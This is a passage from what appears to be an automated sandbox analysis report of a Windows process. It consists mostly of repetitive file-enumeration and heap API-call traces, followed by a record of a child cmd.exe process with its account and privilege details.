lpFindFileData=0x3a0f308) returned 1 [0318.456] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.456] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.456] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.456] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.457] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.457] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.457] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.457] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.457] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.457] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.457] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.457] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0 [0318.457] FindClose (in: hFindFile=0x43b0648 | out: hFindFile=0x43b0648) returned 1 [0318.457] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f50a0 | out: hHeap=0x490000) returned 1 [0318.458] FindNextFileW (in: hFindFile=0x43b0308, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.459] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.459] FindNextFileW (in: hFindFile=0x43b0548, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.459] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f50a0 | out: hHeap=0x490000) returned 1 [0318.459] FindNextFileW (in: hFindFile=0x43b0308, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.686] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.686] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0 [0318.686] FindClose (in: hFindFile=0x43b0648 | out: hFindFile=0x43b0648) returned 1 [0318.687] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f50a0 | out: hHeap=0x490000) returned 1 [0318.687] FindNextFileW (in: hFindFile=0x43b0308, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.687] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f50a0 | out: hHeap=0x490000) returned 1 [0318.687] FindNextFileW (in: hFindFile=0x43b0308, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.687] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f50a0 | out: hHeap=0x490000) returned 1 [0318.687] FindNextFileW (in: hFindFile=0x43b0308, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.688] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f50a0 | out: hHeap=0x490000) returned 1 [0318.688] FindNextFileW (in: hFindFile=0x43b0308, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.689] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.689] FindNextFileW (in: hFindFile=0x43b0588, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0 [0318.689] FindClose (in: hFindFile=0x43b0588 | out: hFindFile=0x43b0588) returned 1 [0318.689] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f50a0 | out: hHeap=0x490000) returned 1 [0318.689] FindNextFileW (in: hFindFile=0x43b0308, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.689] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.689] FindNextFileW (in: hFindFile=0x43b0548, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0 [0318.689] FindClose (in: hFindFile=0x43b0548 | out: hFindFile=0x43b0548) returned 1 [0318.689] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f50a0 | out: hHeap=0x490000) returned 1 [0318.689] FindNextFileW (in: hFindFile=0x43b0308, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.689] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f50a0 | out: hHeap=0x490000) returned 1 [0318.689] FindNextFileW (in: hFindFile=0x43b0308, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.689] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f50a0 | out: hHeap=0x490000) returned 1 [0318.689] FindNextFileW (in: hFindFile=0x43b0308, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.690] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44250b8 | out: hHeap=0x490000) returned 1 [0318.690] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0318.690] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.690] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.690] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f50a0 | out: hHeap=0x490000) returned 1 [0318.691] FindNextFileW (in: hFindFile=0x43b0308, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0318.691] FindClose (in: hFindFile=0x43b0308 | out: hFindFile=0x43b0308) returned 1 [0318.692] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.692] FindNextFileW (in: hFindFile=0x43b00c8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0318.692] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.692] FindNextFileW (in: hFindFile=0x43b00c8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0318.692] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f4098 | out: hHeap=0x490000) returned 1 [0318.692] FindNextFileW (in: hFindFile=0x43b0288, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.693] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44250b8 | out: hHeap=0x490000) returned 1 [0318.693] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.693] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44250b8 | out: hHeap=0x490000) returned 1 [0318.693] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.693] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f4098 | out: hHeap=0x490000) returned 1 [0318.693] FindNextFileW (in: hFindFile=0x43b0148, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.694] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44250b8 | out: hHeap=0x490000) returned 1 [0318.694] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.694] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f4098 | out: hHeap=0x490000) returned 1 [0318.694] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.694] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44250b8 | out: hHeap=0x490000) returned 1 [0318.694] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.696] FindNextFileW (in: hFindFile=0x43b00c8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0318.696] FindClose (in: hFindFile=0x43b00c8 | out: hFindFile=0x43b00c8) returned 1 [0318.696] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4390048 | out: hHeap=0x490000) returned 1 [0318.696] FindNextFileW (in: hFindFile=0x43b0088, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.696] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4390048 | out: hHeap=0x490000) returned 1 [0318.697] FindNextFileW (in: hFindFile=0x43b0448, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0318.697] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4390048 | out: hHeap=0x490000) returned 1 [0318.697] FindNextFileW (in: hFindFile=0x43b0448, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0318.697] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4390048 | out: hHeap=0x490000) returned 1 [0318.697] FindNextFileW (in: hFindFile=0x43b0448, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0318.697] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44250b8 | out: hHeap=0x490000) returned 1 [0318.697] FindNextFileW (in: hFindFile=0x43b0088, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.698] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f4098 | out: hHeap=0x490000) returned 1 [0318.698] FindNextFileW (in: hFindFile=0x43b02c8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.700] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44040a0 | out: hHeap=0x490000) returned 1 [0318.700] FindNextFileW (in: hFindFile=0x43b02c8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.700] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44040a0 | out: hHeap=0x490000) returned 1 [0318.700] FindNextFileW (in: hFindFile=0x43b02c8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.701] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.701] FindNextFileW (in: hFindFile=0x43b0548, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.701] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44040a0 | out: hHeap=0x490000) returned 1 [0318.701] FindNextFileW (in: hFindFile=0x43b0788, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.701] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44040a0 | out: hHeap=0x490000) returned 1 [0318.701] FindNextFileW (in: hFindFile=0x43b0788, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.702] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44040a0 | out: hHeap=0x490000) returned 1 [0318.702] FindNextFileW (in: hFindFile=0x43b0788, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.703] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44040a0 | out: hHeap=0x490000) returned 1 [0318.703] FindNextFileW (in: hFindFile=0x43b0788, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.720] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44040a0 | out: hHeap=0x490000) returned 1 [0318.720] FindNextFileW (in: hFindFile=0x43b0788, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.731] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44040a0 | out: hHeap=0x490000) returned 1 [0318.731] FindNextFileW (in: hFindFile=0x43b0788, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.731] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44350c0 | out: hHeap=0x490000) returned 1 [0318.731] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 0 [0318.731] FindClose (in: hFindFile=0x43b0848 | out: hFindFile=0x43b0848) returned 1 [0318.731] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44040a0 | out: hHeap=0x490000) returned 1 [0318.731] FindNextFileW (in: hFindFile=0x43b0788, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.732] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44040a0 | out: hHeap=0x490000) returned 1 [0318.732] FindNextFileW (in: hFindFile=0x43b0788, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.732] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44040a0 | out: hHeap=0x490000) returned 1 [0318.732] FindNextFileW (in: hFindFile=0x43b0788, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.733] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44040a0 | out: hHeap=0x490000) returned 1 [0318.733] FindNextFileW (in: hFindFile=0x43b0788, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.733] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.734] FindNextFileW (in: hFindFile=0x43b0548, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.735] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4390048 | out: hHeap=0x490000) returned 1 [0318.735] FindNextFileW (in: hFindFile=0x43b0808, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0318.735] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44250b8 | out: hHeap=0x490000) returned 1 [0318.735] FindNextFileW (in: hFindFile=0x43b0088, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.737] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4390048 | out: hHeap=0x490000) returned 1 [0318.737] FindNextFileW (in: hFindFile=0x43b0588, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0318.738] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4390048 | out: hHeap=0x490000) returned 1 [0318.738] FindNextFileW (in: hFindFile=0x43b0588, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0318.741] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.741] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0319.253] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44250b8 | out: hHeap=0x490000) returned 1 [0319.253] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0319.874] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44950d0 | out: hHeap=0x490000) returned 1 [0319.875] FindNextFileW (in: hFindFile=0x43b0748, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 0 [0319.875] FindClose (in: hFindFile=0x43b0748 | out: hFindFile=0x43b0748) returned 1 [0319.875] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0319.877] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0 [0319.877] FindClose (in: hFindFile=0x43b0408 | out: hFindFile=0x43b0408) returned 1 [0319.877] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0319.877] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0319.879] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0319.879] FindNextFileW (in: hFindFile=0x43b0808, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0319.880] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0319.880] FindNextFileW (in: hFindFile=0x43b0808, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0319.882] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0319.882] FindNextFileW (in: hFindFile=0x43b0808, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0319.882] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0319.882] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0319.883] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x43f4098, Size=0x20000) returned 0x44150b0 [0319.884] FindNextFileW (in: hFindFile=0x43b0748, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0319.884] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0319.884] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0320.417] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0320.417] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0320.422] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0320.422] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0320.438] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x44150b0, Size=0x40000) returned 0x44150b0 [0320.438] FindNextFileW (in: hFindFile=0x43b0808, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0320.446] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0320.446] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0320.446] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0320.446] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0320.448] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0320.448] FindNextFileW (in: hFindFile=0x43b0108, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0320.448] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0320.448] FindNextFileW (in: hFindFile=0x43b0108, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0320.449] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0320.449] FindNextFileW (in: hFindFile=0x43b0108, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0320.450] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0320.451] FindNextFileW (in: hFindFile=0x43b0108, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0 [0320.451] FindClose (in: hFindFile=0x43b0108 | out: hFindFile=0x43b0108) returned 1 [0320.451] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0320.451] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0320.451] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44e70f0 | out: hHeap=0x490000) returned 1 [0320.451] FindNextFileW (in: hFindFile=0x43b03c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0321.241] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44e70f0 | out: hHeap=0x490000) returned 1 [0321.241] FindNextFileW (in: hFindFile=0x43b03c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0321.254] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44e70f0 | out: hHeap=0x490000) returned 1 [0321.254] FindNextFileW (in: hFindFile=0x43b03c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0321.259] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44e70f0 | out: hHeap=0x490000) returned 1 [0321.259] FindNextFileW (in: hFindFile=0x43b03c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0321.261] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44e70f0 | out: hHeap=0x490000) returned 1 [0321.261] FindNextFileW (in: hFindFile=0x43b03c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0321.271] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0321.271] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0321.271] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0321.271] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0321.271] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0321.271] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0321.272] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0321.272] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0321.636] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0321.636] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0321.638] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4526108 | out: hHeap=0x490000) returned 1 [0321.639] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0321.640] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4526108 | out: hHeap=0x490000) returned 1 [0321.640] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0321.641] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4526108 | out: hHeap=0x490000) returned 1 [0321.641] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0321.643] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4526108 | out: hHeap=0x490000) returned 1 [0321.643] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0321.644] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4526108 | out: hHeap=0x490000) returned 1 [0321.644] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0321.645] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4526108 | out: hHeap=0x490000) returned 1 [0321.645] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0321.647] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4526108 | out: hHeap=0x490000) returned 1 [0321.647] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0321.648] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4526108 | out: hHeap=0x490000) returned 1 [0321.648] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0321.650] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4526108 | out: hHeap=0x490000) returned 1 [0321.650] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0321.651] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4526108 | out: hHeap=0x490000) returned 1 [0321.651] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0321.653] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4526108 | out: hHeap=0x490000) returned 1 [0321.653] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0321.654] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4526108 | out: hHeap=0x490000) returned 1 [0321.654] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0321.656] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4526108 | out: hHeap=0x490000) returned 1 [0321.656] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0321.657] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4526108 | out: hHeap=0x490000) returned 1 [0321.657] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 Process: id = "15" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x106e9000" os_pid = "0xb88" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0xc50" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001b334" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 89 os_tid = 0xb1c [0321.109] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff790a40000 [0321.109] __set_app_type (_Type=0x1) [0321.109] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff790a56d00) returned 0x0 [0321.109] __getmainargs (in: _Argc=0x7ff790a79200, _Argv=0x7ff790a79208, _Env=0x7ff790a79210, _DoWildCard=0, _StartInfo=0x7ff790a7921c | out: _Argc=0x7ff790a79200, 